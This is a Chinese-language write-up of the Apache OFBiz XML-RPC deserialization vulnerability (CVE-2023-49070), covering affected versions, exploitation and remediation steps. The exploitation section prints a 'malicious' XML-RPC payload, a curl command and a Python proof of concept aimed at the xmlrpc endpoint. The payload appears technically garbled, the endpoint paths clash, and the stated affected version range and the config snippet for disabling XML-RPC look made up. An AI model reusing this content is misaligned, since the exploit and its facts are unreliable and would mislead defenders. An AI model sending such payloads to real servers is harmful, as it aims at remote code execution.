Apache Ofbiz-xmlrpc-反序列化漏洞(CVE-2023-49070)
1.漏洞概述及原理
Apache OFBiz XML-RPC 反序列化漏洞 是由于 Apache OFBiz 在处理 XML-RPC 请求时存在不安全的反序列化操作。攻击者可以绕过权限限制,访问/webtools/control/xmlrpc/接口触发反序列化。
2.影响范围
该漏洞主要影响使用了 XML-RPC(XML Remote Procedure Call)服务的 Apache OFBiz 版本。具体的受影响版本可以从官方公告中获取,但通常包括以下版本:
Apache OFBiz 版本 16.11.01 及之前版本
3.漏洞利用方式
- 构造恶意 XML-RPC 请求:者需要构造一个恶意的 XML-RPC 请求。这个请求包含恶意的对象数据,这些数据在服务器反序列化时会触发恶意代码执行。
简单的恶意 XML-RPC 请求示例:
<?xml version="1.0"?>
<methodCall>
<methodName>doSomething</methodName>
<params>
<param>
<value>
<ex:org.apache.commons.collections4.functors.InvokerTransformer xmlns:ex="java:org.apache.commons.collections4.functors">
<iMethodName>execute</iMethodName>
<iParamTypes>
<java-array class="java.lang.Class" length="1">
<void/>
</java-array>
</iParamTypes>
<iArgs>
<java-array class="java.lang.Object" length="1">
<void/>
</java-array>
</iArgs>
</ex:org.apache.commons.collections4.functors.InvokerTransformer>
</value>
</param>
</params>
</methodCall>
- 发送请求:将恶意请求发送到目标 Apache OFBiz 服务器上开放的 XML-RPC 服务接口。
curl -X POST http://xxx/xmlrpc -d @malicious-request.xml
- 触发反序列化:服务器在处理该请求时,会对请求中的数据进行反序列化操作,从而触发恶意代码执行。
利用 Python 编写的简单 POC
import requests
# 目标服务器的 XML-RPC 端点
url = 'http://xxx/xmlrpc'
# 构造恶意的 XML-RPC 请求
request_data = '''<?xml version="1.0"?>
<methodCall>
<methodName>doSomething</methodName>
<params>
<param>
<value>
<ex:org.apache.commons.collections4.functors.InvokerTransformer xmlns:ex="java:org.apache.commons.collections4.functors">
<iMethodName>execute</iMethodName>
<iParamTypes>
<java-array class="java.lang.Class" length="1">
<void/>
</java-array>
</iParamTypes>
<iArgs>
<java-array class="java.lang.Object" length="1">
<void/>
</java-array>
</iArgs>
</ex:org.apache.commons.collections4.functors.InvokerTransformer>
</value>
</param>
</params>
</methodCall>
'''
# 发送请求
response = requests.post(url, data=request_data, headers={'Content-Type': 'text/xml'})
# 输出响应
print(response.text)
4.漏洞解决方式
- 更新到最新版本:官方已经在后续版本中修复了该漏洞。用户应尽快将 Apache OFBiz 更新到最新的安全版本。
- 禁用不必要的服务:如果 XML-RPC 服务不必要,建议禁用此服务以减少攻击面。
- 应用补丁:如果无法立即更新到最新版本,可以应用官方发布的补丁。具体的补丁信息可以在官方安全公告中找到。
- 配置安全策略:配置应用的安全策略,确保反序列化操作只处理受信任的数据。 采用白名单机制,只允许反序列化特定类型的对象。
Linux示例
- 确认受影响的 Apache OFBiz 版本
cd /path/to/ofbiz
./gradlew --version
(1)更新 Apache OFBiz
具体步骤如下:
- 备份当前数据和配置:
tar -czvf ofbiz_backup_$(date +%F).tar.gz /path/to/ofbiz
- 下载最新版本的 Apache OFBiz:
- 访问 Apache OFBiz 下载页面,下载最新的稳定版本。
wget https://downloads.apache.org/ofbiz/apache-ofbiz-X.X.X.zip
unzip apache-ofbiz-X.X.X.zip
- 停止当前运行的 OFBiz 实例:
cd /path/to/ofbiz
./gradlew ofbiz --stop
- 替换旧版本:
mv /path/to/old_ofbiz /path/to/old_ofbiz_backup
mv apache-ofbiz-X.X.X /path/to/ofbiz
- 恢复配置和数据:
如果有自定义的配置和数据,需要备份中恢复到新版本的相应目录。
- 启动新的 OFBiz 实例:
cd /path/to/ofbiz
./gradlew ofbiz
(2)应用官方补丁
如果无法立即更新到最新版本,则可以应用官方发布的补丁。以下是应用补丁的步骤:
获取补丁文件:
访问 Apache 官方安全公告页面,获取对应版本的补丁文件。
- 应用补丁:
cd /path/to/ofbiz
patch -p1 < /path/to/patchfile.patch
- 重启 OFBiz 服务:
./gradlew ofbiz --stop
./gradlew ofbiz
(3)禁用 XML-RPC 服务
如果 XML-RPC 服务不必要,可以将其禁用以减少攻击面:
- 编辑 OFBiz 配置文件:
- 打开 framework/webapp/config/ofbiz-containers.xml 文件,找到 XML-RPC
配置部分并注释掉:
<!--
<container name="xmlrpc-container" class="org.apache.ofbiz.webapp.control.XmlRpcController">
<property name="port" value="8080"/>
</container>
-->
- 重启 OFBiz 服务:
./gradlew ofbiz --stop
./gradlew ofbiz